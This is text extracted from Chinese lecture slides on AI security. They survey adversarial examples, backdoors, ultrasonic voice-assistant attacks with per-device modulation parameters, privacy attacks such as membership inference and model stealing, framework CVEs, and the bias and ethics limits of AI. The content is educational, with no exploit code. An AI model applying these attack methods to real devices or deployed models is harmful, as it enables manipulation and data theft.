Q. Xiao et al. *Seeing is Not Believing: Camouflage Attacks on Image Scaling Algorithms*. Usenix Security '19.



人工智能系統面臨的安全風險


• 平臺開放 (MLaaS)



• 後門植入簡單



• 測試數據少



• 應用場景廣



• 公開模型可能存在後門


Method (expand all collapse all)	Accuracy (%)
✗ GPipe: Efficient Training of Giant Neural Networks using Pipeline Parallelism (Nov 2018, arXiv 2018)	99.00%
✗ EfficientNet: Rethinking Model Scaling for Convolutional Neural Networks (May 2019, arXiv 2019)	98.90%
✗ A Survey on Neural Architecture Search (May 2019, arXiv 2019)	98.67%
⊗ AutoAugment: Learning Augmentation Policies from Data (May 2018, arXiv 2018)	98.52%
✗ XNAS: Neural Architecture Search with Expert Advice (Jun 2019, arXiv 2019)	98.40%



• 模型後門檢測限制條件多




觸發器在哪裏，什麼樣子，什麼效果？




測試集/驗證集較少，無觸發器特徵或標注

• 模型後門可能威脅使用






人工智能系統中的信息傳遞




輸入(傳感器)



數據預處理



機器學習模型




人工智能應用



魯棒性攻防 —— 對抗攻擊

對抗樣本 (Adversarial Learning)

對原始數據構造人類難以分辨的擾動，將會引起深度學習算法決策輸出的改變，造成人類與深度學習模型認知的差異




經典的對抗樣本示例：“從大熊猫到長臂猿”



魯棒性攻防 —— 對抗攻擊


投毒攻擊與對抗攻擊的區別

- **投毒攻擊**：強調的是通過混入特殊樣本的形式，直接對模型進行修改，而不修改測試數據；作用于模型的訓練階段



投毒攻擊不修改測試數據

- **對抗攻擊**：攻擊者在不改變目標機器學習系統的情況下，通過構造特定輸入樣本以完成欺騙目標系統的攻擊；作用于模型的推理階段




FGSM修改輸入樣本使模型將熊猫錯判為長臂猿




魯棒性攻防 —— 對抗攻擊

基于梯度的攻擊是考慮模型對樣本的梯度，根據梯度的方向和大小等對樣本進行調整，進而達到使損失函數增大的目的，常見方法有FGSM (Fast Gradient Sign Method)、PGD (Project Gradient Descent)、MIM (Momentum Iterative Method) 等

MNIST 數據集
在**FGSM攻擊**前後的對比示意圖



Fashion-MNIST 數據集
在**PGD攻擊**前後的對比示意圖



CIFAR-10 數據集
在**MIM攻擊**前後的對比示意圖





魯棒性攻防 —— 對抗攻擊

基于優化的攻擊是將樣本看作變量，通過訓練模型等方式最優化某個函數；常見方法有CW（Carlini-Wagner Attack）


最優化兩個條件

- 對抗樣本與普通樣本的相似度越大越好
- 對抗樣本應該使得模型分類錯，且錯的那一類的概率越高越好

$$r_n = \frac{1}{2}(\tanh(\omega_n) + 1) - X_n$$

$$\min_{\omega_n} \|r_n\| + c \cdot f\left(\frac{1}{2}(\tanh(\omega_n) + 1)\right)$$


Where $f(x') = \max(\max\{Z(x')_i : i \neq t\} - Z(x')_t, -k)$






真實世界對抗攻擊


近年來**對抗樣本**被證明存在于**現實物理世界**中，并可能會對多種機器學習系統產生影響




對人臉識別系統的欺騙攻擊^[1]



對自動駕駛系統的欺騙攻擊^[2]



對語音識別系統的欺騙攻擊^[3]



對物理世界的攻擊^[4]

[1] M. Sharif et al. *Accessorize to a Crime: Real and Stealthy Attacks on State-of-the-Art Face Recognition*. CCS '16.


[2] K. Eykholt et al. *Robust Physical-World Attacks on Deep Learning Visual Classification*. CVPR'18.

[3] N. Carlini and D. Wagner. *Audio Adversarial Examples: Targeted Attacks on Speech-to-Text*. DLS'18.

[4] F. Li, et al. *Detecting Localized Adversarial Examples: A Generic Approach using Critical Region Analysis*. INFOCOM'21.



真實世界對抗攻擊



[1] (b) Benign and adv. cubes (c) Benign case (d) Adversarial case [2]




Figure 3: A car cannot be correctly detected under increasing linear motion blur.







Figure 4: The region with no interested objects can be incorrectly detected as a person under different linear motion blur.



[4] Figure 5: A car can be incorrectly detected as a bus (b), a bottle (c), and a person (d) under different motion blur.



[3]




[5]



真實世界對抗攻擊

針對視頻監控系統YOLO的對抗性補丁



這種攻擊可以惡意繞過監視系統，入侵者只要將一小塊硬紙板放在身體前面，面向監視攝像頭，就能不被監視系統發現






音視頻對抗攻擊

“海豚音攻擊”：利用超聲波對語音服務下達攻擊指令



- 攻擊者克隆了設備所有者的音色，然後語音合成(TTS)為對應的激活語音。例如，錄下喝(he)、西(xi)、瑞(rui)，合成為“Hey, Siri”。所有的攻擊指令頻率均位于超聲波段，人耳無法聽到。





音視頻對抗攻擊

Manuf.	Model	OS/Ver.	SR System	Attacks		Modulation Parameters		Max Dist. (cm)	
				Recog.	Activ.	f_c (kHz) & [Prime f_c] $\ddagger$	Depth	Recog.	Activ.
Apple	iPhone 4s	iOS 9.3.5	Siri	✓	✓	20–42 [27.9]	$\geq 9\%$	175	110
Apple	iPhone 5s	iOS 10.0.2	Siri	✓	✓	24.1 26.2 27 29.3 [24.1]	100%	7.5	10
Apple	iPhone SE	iOS 10.3.1	Siri	✓	✓	22–28 33 [22.6]	$\geq 47\%$	30	25
			Chrome	✓	N/A	22–26 28 [22.6]	$\geq 37\%$	16	N/A
Apple	iPhone SE †	iOS 10.3.2	Siri	✓	✓	21–29 31 33 [22.4]	$\geq 43\%$	21	24
Apple	iPhone 6s *	iOS 10.2.1	Siri	✓	✓	26 [26]	100%	4	12
Apple	iPhone 6 Plus *	iOS 10.3.1	Siri	×	✓	— [24]	—	—	2
Apple	iPhone 7 Plus *	iOS 10.3.1	Siri	✓	✓	21 24–29 [25.3]	$\geq 50\%$	18	12
Apple	watch	watchOS 3.1	Siri	✓	✓	20–37 [22.3]	$\geq 5\%$	111	164
Apple	iPad mini 4	iOS 10.2.1	Siri	✓	✓	22–40 [28.8]	$\geq 25\%$	91.6	50.5
Apple	MacBook	macOS Sierra	Siri	✓	N/A	20–22 24–25 27–37 39 [22.8]	$\geq 76\%$	31	N/A
LG	Nexus 5X	Android 7.1.1	Google Now	✓	✓	30.7 [30.7]	100%	6	11
Asus	Nexus 7	Android 6.0.1	Google Now	✓	✓	24–39 [24.1]	$\geq 5\%$	88	87
Samsung	Galaxy S6 edge	Android 6.0.1	S Voice	✓	✓	20–38 [28.4]	$\geq 17\%$	36.1	56.2
Huawei	Honor 7	Android 6.0	HiVoice	✓	✓	29–37 [29.5]	$\geq 17\%$	13	14
Lenovo	ThinkPad T440p	Windows 10	Cortana	✓	✓	23.4–29 [23.6]	$\geq 35\%$	58	8
Amazon	Echo *	5589	Alexa	✓	✓	20–21 23–31 33–34 [24]	$\geq 20\%$	165	165
Audi	Q3	N/A	N/A	✓	N/A	21–23 [22]	100%	10	N/A

攻擊對大部分智能移動終端均有效




音視頻對抗攻擊


各類商用語音識別系統也易遭受黑盒對抗樣本攻擊，可以導致定向和非定向攻擊效果



Decision + Score




Decision






圖網絡對抗攻擊

圖神經網絡(GNN)廣泛用于各類場景，研究發現圖神經網絡同樣易被實施**黑盒**對抗樣本攻擊



在黑盒設定場景下通過注入平均4.3次擾動，攻擊成功率可以達到90%以上





隱私攻擊


- 對抗攻擊和投毒攻擊均屬破壞壞**完整性(Integrity)**的威脅；隱私攻擊的目標在於破壞**機密性(Confidentiality)**，推斷攻擊目標的訓練數據或模型參數
- 一般認為，針對深度學習的隱私攻擊可以分為 4 類：**成員推理攻擊、模型反演攻擊、屬性推理攻擊和模型竊取攻擊**






隱私攻擊 —— 成員推理攻擊

- **概念：** **成員推理攻擊(Membership Inference Attack)**目的是確定特定的數據是否被用于模型的訓練過程，即特定的數據是否存在于訓練集中。
- **經典成員推理攻擊**的insight：模型對於訓練集樣本一定是“過擬合”的，如果一個模型對某個樣本給出了非常自信的預測，那這個樣本很可能是模型“見過”的。因此，在**黑盒場景**下，我們就可以進行成員推理。



成員推理攻擊開山之作，發表于安全頂會IEEE S&P 17






隱私攻擊 —— 成員推理攻擊

黑盒成員推理攻擊流程

- 1. 準備數據：收集盡可能接近目標模型訓練數據真實分布的數據
- 2. 訓練Shadow Model：Shadow Model 用于模擬目標模型行為。儘管訓練數據和模型結構參數等均不相同，但深度學習的遷移性可確保兩者行為相似
- 3. 訓練攻擊模型：Shadow Model 完全處於攻擊者控制之下，攻擊者可以明確知道某條數據是否存在於其訓練集中，構建[真實標籤，預測置信度]的輸入對就可以訓練一個成員推理的攻擊模型





隱私攻擊 —— 模型反演攻擊

- **概念：** **模型反演攻擊(Model Inversion Attack)**，也被稱為**模型逆向攻擊**，目的是旨在從模型的預測結果中恢復出關於輸入數據的信息。
- **與成員推理攻擊的區別：** 成員推理攻擊是判斷樣本是否在訓練集中的**分類問題**；模型反演攻擊是從輸出恢復輸入的**生成問題**。

生成數據

真實樣本



模型逆向攻擊生成數據與真實樣本的對比




隱私攻擊 —— 模型反演攻擊

- 模型逆向攻擊本質是一個優化問題，其目標是找到一組輸入數據，使得在目標模型下產生的輸出與預期輸出之間的差異最小
- 對於**白盒場景**，我們可以通過梯度下降的方式**優化輸入**[正常模型訓練優化的是網絡參數]
- 對於**黑盒場景**，我們可以通過一些方法估算梯度，或者直接通過目標模型對於輔助數據的決策訓練一個生成模型（如右圖所示）

黑盒場景下模型逆向攻擊過程（生成式）


- 設計一個生成網絡，以目標模型的輸出（或其變形）為輸入，生成逆向圖片。該網絡直接作用在目標模型下游，可以看成是端到端的
- 基于**重構誤差**（原始輔助數據和生成結果之間的差異）優化模型





隱私攻擊 —— 屬性推理攻擊


- **概念：** **屬性推理攻擊(Attribute Inference Attack)**目的是揭露數據中未直接公開的敏感屬性，這些屬性一般與訓練任務無關。
- **例子：** 社交網絡數據集中，通過用戶的公開行為（點贊、分享），推斷用戶的性別或政治傾向；
- **與模型逆向攻擊的區別：** 模型逆向攻擊是從輸出恢復輸入的**生成問題**；屬性推理攻擊是判斷樣本有無某個隱含屬性/隱含屬性屬哪個類別的**分類問題**





隱私攻擊 —— 模型竊取攻擊

- **概念：**模型竊取攻擊(Model Stealing Attack)，也被稱為**模型萃取攻擊**、**模型推理攻擊**，目的是攻擊者通過多次查詢操作（提供模型輸入并觀察模型的輸出），獲取目標模型全部或部分信息（如網絡結構或參數等）。
- 模型竊取攻擊是唯一一個針對模型信息而非數據的隱私攻擊方式



模型萃取攻防示意圖


攻擊：基于查詢數據集訓練

Shadow Model


防禦：采用多模型集成
(Ensemble)的方式決策




人工智能系統中的信息傳遞




輸入(傳感器)



數據預處理



機器學習模型



人工智能應用



人工智能系統面臨的安全風險

機器學習系統實現的漏洞

DL Framework	dep. packages	CVE-ID	Potential Threats
Tensorflow	numpy	CVE-2017-12852	DOS
Tensorflow	wave.py	CVE-2017-14144	DOS
Caffe	libjasper	CVE-2017-9782	heap overflow
Caffe	openEXR	CVE-2017-12596	crash
Caffe/Torch	opencv	CVE-2017-12597	heap overflow
Caffe/Torch	opencv	CVE-2017-12598	crash
Caffe/Torch	opencv	CVE-2017-12599	crash
Caffe/Torch	opencv	CVE-2017-12600	DOS
Caffe/Torch	opencv	CVE-2017-12601	crash
Caffe/Torch	opencv	CVE-2017-12602	DOS
Caffe/Torch	opencv	CVE-2017-12603	crash
Caffe/Torch	opencv	CVE-2017-12604	crash
Caffe/Torch	opencv	CVE-2017-12605	crash
Caffe/Torch	opencv	CVE-2017-12606	crash
Caffe/Torch	opencv	CVE-2017-14136	integer overflow

[1] Xiao Q, Li K, Zhang D, and Xu W, "Security risks in deep learning implementations", in proceedings of IEEE SPW, 2018.



人工智能系統面臨的安全風險

機器學習系統實現的漏洞

原始圖片
(分類結果:Bulldog)



攻擊圖片2
(分類錯誤)



攻擊圖片1
(系統崩潰: DoS)



攻擊圖片3
(系統越權)



針對機器學習系統實現漏洞的攻擊

[1] Xiao Q, Li K, Zhang D, and Xu W, "Security risks in deep learning implementations", in proceedings of IEEE SPW, 2018.



第4節 人工智能算法的局限性




- ✓ 數據局限性
- ✓ 成本局限性
- ✓ 偏見局限性
- ✓ 倫理局限性



數據的局限性 —— 數據難以獲取

隨著深度學習成為AI行業的主流算法，其所帶來的高度依賴數據集的大規模學習方法，極大增加了對於大規模數據集的需求。一個優秀的深度學習模型是算法通過大量的數據集訓練而達到的。**高質量大規模訓練數據集成為了深度學習進行模型訓練的關鍵**。但是，獲取數據往往有以下困難：



- **小數據**：數據量太小而無法深度學習
- **假數據**：需要手工生成的數據，有時沒有有效性
- **孤島數據**：A、B數據維度單一，但可以互補，在現實中因為某種原因無法獲得兩種數據



數據的局限性 —— 數據難以獲取


- **對於AI醫療而言**，數據獲取難對其診斷有一定影響。隨著圖像與視頻識別軟件的發展，其為醫療影像 AI 提供了很大幫助。但提供幫助的同時，也**遇到了以下困難**：
 - 醫護人員資源有限，標注數據成為了困難，導致可用于訓練的同分布標注數據非常少
 - 實際情況中，不同醫療機構收集、標記、注釋、處理醫療數據的方法并不一致，X射綫影像、CT影像的質量則因為機器差異而存在較大差異，患者病例或健康記錄中也常缺少信息
- **這些都導致了能够用于訓練AI模型的有效數據資源稀缺**。這與數據驅動的深度學習形成矛盾，這就是目前醫療影像 AI 的發展瓶頸所在





數據的局限性 ——數據不完整或偏斜


- AI的數據通常包含**不完整或偏斜的信息**。因為在獲取數據時，往往不能獲取整個樣本空間的數據集。取而代之的是獲取一個樣本空間的子集。而某些子集的屬性並不能代表整個樣本空間，因而用這個數據是具有“偏見”的
- **偏差可以有意的，也可以是無意的**。數據，算法和選擇它們的人員都可能有偏見。偏見可能與種族，性別，年齡，位置或時間有關



語言差異



地域差異



文化差異



數據的局限性 —— 幸存者偏差


- **幸存者偏差指的是只能看到經過某種篩選而產生的結果，而沒有意識到篩選的過程，因此忽略了被篩選掉的關鍵信息**
- **“消失的彈孔”** 就是幸存者偏差的典型例子。二戰時，戰鬥機上的彈孔往往集中于機翼和尾部而非發動機，表面現象是發動機不易中彈，但其實是因為發動機被擊中就會導致飛機失事墜毀
- 數據收集過程中也會受到幸存者偏差的影響。例如收集足球運動員收入的數據，會發現我們熟知的運動員都有著不菲的收入。然而，真實情況是大部分普通球員的收入很低，且沒有名氣
- **如果不注意規避這類問題，就會導致獲取數據不完整**





成本局限性 —— 資源限制引發的局限性

- 隨著訓練數據量急劇增長，大模型的訓練時間開始以**“星期” 甚至 “月”** 為單位計量。例如，阿裏巴巴拍立淘增量訓練的數據集一般為2億張圖片，使用一張英偉達Volta 100 GPU進行訓練需要一周時間；而從零開始訓練需要10億張圖片，需要1.5個月才能完成
- 為了縮短訓練時間，構建分布式AI訓練集群以實現系統性能的橫向擴展成為必然選擇，穀歌的TPU集群就是類似系統



越來越長的訓練時間遠遠滿足不了業務快速迭代的需求



成本局限性 —— 經濟開銷引發的局限性

優秀的人工智能模型背後往往隱藏著**巨量的經濟開銷**，主要表現在以下幾個方面：

- **數據成本**：這一點與數據的局限性相關聯，想要獲得好的數據就必須付出高昂的成本。在 Amazon 的 Mechanical Turk 上發布收集數據任務，生成 100k 條樣本的數據集花費大約為 70000 美元；使用 Scale AI 等平臺對已有數據進行標注，可能需要花費 8k-80k 美元的費用，取決於標注任務的難度
- **開發成本**：開發合適的人工智能模型需要一定數量的技術人員，與此對應的財力支出也不可忽略





成本局限性 —— 經濟開銷引發的局限性

- **算力成本：**這一點與資源限制相關聯，以自然語言處理領域為例，馬薩諸塞大學阿默斯特分校研究人員測試了訓練幾個典型模型所帶來的算力成本，結果顯示，算力成本與模型大小成正比，然後對模型調參以提高最終精度的過程中成本呈爆炸式增長，然而性能收益微乎其微；OpenAI開發的預訓練語言模型 GPT-3，訓練參數達到1750億，訓練費用超過1200萬美元
- **落地成本：**目前，機器學習仍處於理論技術快速發展的階段，大量的開發預算投入到追求某項技術而不是解決具體問題上，在實際生活中應用常常落差較大

Model	Cloud compute cost
Transformer _{base}	\$41–\$140
Transformer _{big}	\$289–\$981
ELMo	\$433–\$1472
BERT _{base}	\$3751–\$12,571
BERT _{base}	\$2074–\$6912
NAS	\$942,973–\$3,201,722
NAS	\$44,055–\$146,848
GPT-2	\$12,902–\$43,008





偏見局限性

- 絕大多數人都相信AI比人類更公正，冷冰冰的機器只會嚴格的邏輯思考和運算，沒有感情沒有傾向，不會有偏好，也不會有歧視
- 但2017年發表在 *Science* 上的研究表明，**AI也同樣可能產生偏見**，特別是當它向我們人類學習時。美國普林斯頓大學的研究人員發現，AI通過抓取大量人類創造的文字內容來學習詞匯的意義之後，它會變得與人類一樣，會“帶著有色眼鏡看人”




種族偏見

左邊白人罪行嚴重，却只被認定危險指數3；
右邊黑人罪行很輕，却被認定危險指數10

性別偏見

人工智能通常會將廚房中的人判定為女性





偏見局限性




- 研究人員開發了一種詞嵌入關聯測試，**詞嵌入**可以認為是計算機基于這個詞通常出現的上下文產生的對一個詞的向量形式的定義。研究人員通過**計算向量之間的相似度**，發現在這種嵌入表示中隱含著本不該出現的歧視性特徵，例如
 - “Brett” 和 “Allison” 這樣的名字的嵌入與正面詞匯如 “愛” 和 “笑聲” 相似；而 “Shaniqua” 這樣的名字與 “癌症” 更相近
 - “女性” 這個詞大多與文藝類職業以及家庭密切關聯，而 “男性” 這個詞則與數學和工程專業關係密切
 - 歐洲與美國人的姓名與正面詞匯聯繫起來，而非裔美國人的名字更常與負面詞匯相關聯

“不要認為AI是聖人，它只不過是我們現有文化的延伸。”

——論文通訊作者、美國普林斯頓大學計算機科學家Joanna Bryson



偏見局限性



2016年，首屆人工智能選美比賽在網上啓動。在評估了6000多個參賽作品後，人工智能Beauty.AI很快選出結果，但**最終44名獲獎者中只有一位黑皮膚的人**。Beauty.AI的開發者青年實驗室承認了他們的深度學習算法中存在固有的種族主義。

Algorithms of Oppression: How Search Engines Reinforce Racism 一書中提到，算法偏見也隱含在搜索引擎中，如某**搜索引擎中黑人婦女的關聯搜索將其形象刻意貶低和扭曲**

Angry Loud Mean Lazy Annoying sassy...







倫理局限性

在社會秩序上，誰應為AI的失誤負責？

- AI的不可解釋性或將長期存在，通過解釋某個結果如何得出而實現算法的透明化，在技術上幾乎不具有實操性，因而AI的判斷也會有錯判的情況



如果算法只是幫助我們更好的娛樂、工作，這個問題似乎不那麼緊迫。可**當算法被用到刑偵、醫療或者自動駕駛中，AI給出錯誤的判斷時，誰來負責，這是一個必須回答的問題**

倫理局限性



14個推特賬號頭像

像這個案例之中，誰應該界定這種 AI 應用的邊界？
答案其實是模糊的

- 最近，Twitter 連封 14 個賬號，成了外媒關注的焦點。這 14 賬號的特別之處在于：**他們是假的**，頭像都是基于生成式對抗網絡 GAN (Generative Adversarial Networks, GAN) 生成的。而且還主導了一場小規模“運動”，旨在反對比利時政府計劃將華為等“高風險”供應商排除該國 5G 網絡建設之外



14個賬號頭像重疊圖



倫理局限性



第一位被機器錯誤定罪的
無辜者威廉姆斯

- Shinola商店被盜後，密歇根州警察局根據監控錄像截取靜止圖像進行搜索。系統給出了一組生成的圖像和一組匹配度最高的圖像以及匹配度得分。這些圖像中就有威廉姆斯的駕照照片。而警察根據這組照片直接逮捕了威廉姆斯
- **但真正的罪犯并不是他**

- **AI的不可解釋性或將長期存在，對於我們而言，在這個關鍵決策愈發走向算法驅動的世界中，可以做到的就是保持學習和警惕**

LAW ENFORCEMENT SENSITIVE

THIS DOCUMENT IS NOT A POSITIVE IDENTIFICATION. IT IS AN INVESTIGATIVE LEAD ONLY AND IS NOT PROBABLE CAUSE TO ARREST. FURTHER INVESTIGATION IS NEEDED TO DEVELOP PROBABLE CAUSE TO ARREST.

BID DIA Identifier: BID-30941-19	Requester: CA Yager, Rathe
Date Searched: 03/11/2019	Requesting Agency: Detroit Police Department
Digital Image Examiner: Jennifer Coulson	Case Number: 1810050167
	File Class/Crime Type: 3000

Probe Image	Investigative Lead

判定圖



倫理局限性

哲學上，AI 是否有人權？

- 如果機器人能够做到人類能做的一切，并且擁有自我意識，從本質上講等同于人類，那麼他們是否應該享有人權？這方面尚未有定論
- 退一步講，即使人工智能無法享受人類所擁有的權利，那麼人類是否可以無緣無故地暴力損壞Ta？

人類不能確切明白一台機器的感受，所以最好的判斷方式就是看它是否能與人類進行正常的對話，也就是“圖靈測試”



艾倫·麥席森·圖靈

計算機科學奠基人
人工智能之父




第5節 總結和展望





人工智能算法安全的主要維度

你認為 人工智能算法安全包含哪些維度 呢？





總結


人工智能算法的高速發展推動了網絡空間的進一步繁榮，而**人工智能算法**面臨的**安全威脅**使得**網絡空間安全**面臨全新的挑戰，因此，**人工智能算法**對**網絡空間**而言是一把**雙刃劍**

**AI算法需要受
法律法規的約束**

**AI算法內在機制
遭受惡意攻擊**

**AI算法底層框架
存在諸多漏洞**


**AI算法在實際應
用中存在局限性**





展望

**可解釋、安全、可信的人工智能算法及其應用
將是網絡空間安全的研究熱點之一**



- **可解釋的人工智能**是保障人工智能算法及其應用安全、可信的基礎
- **安全的人工智能**是人工智能算法及其應用能够廣泛部署的關鍵
- **可信的人工智能**是確保網絡空間安全符合預期發展的核心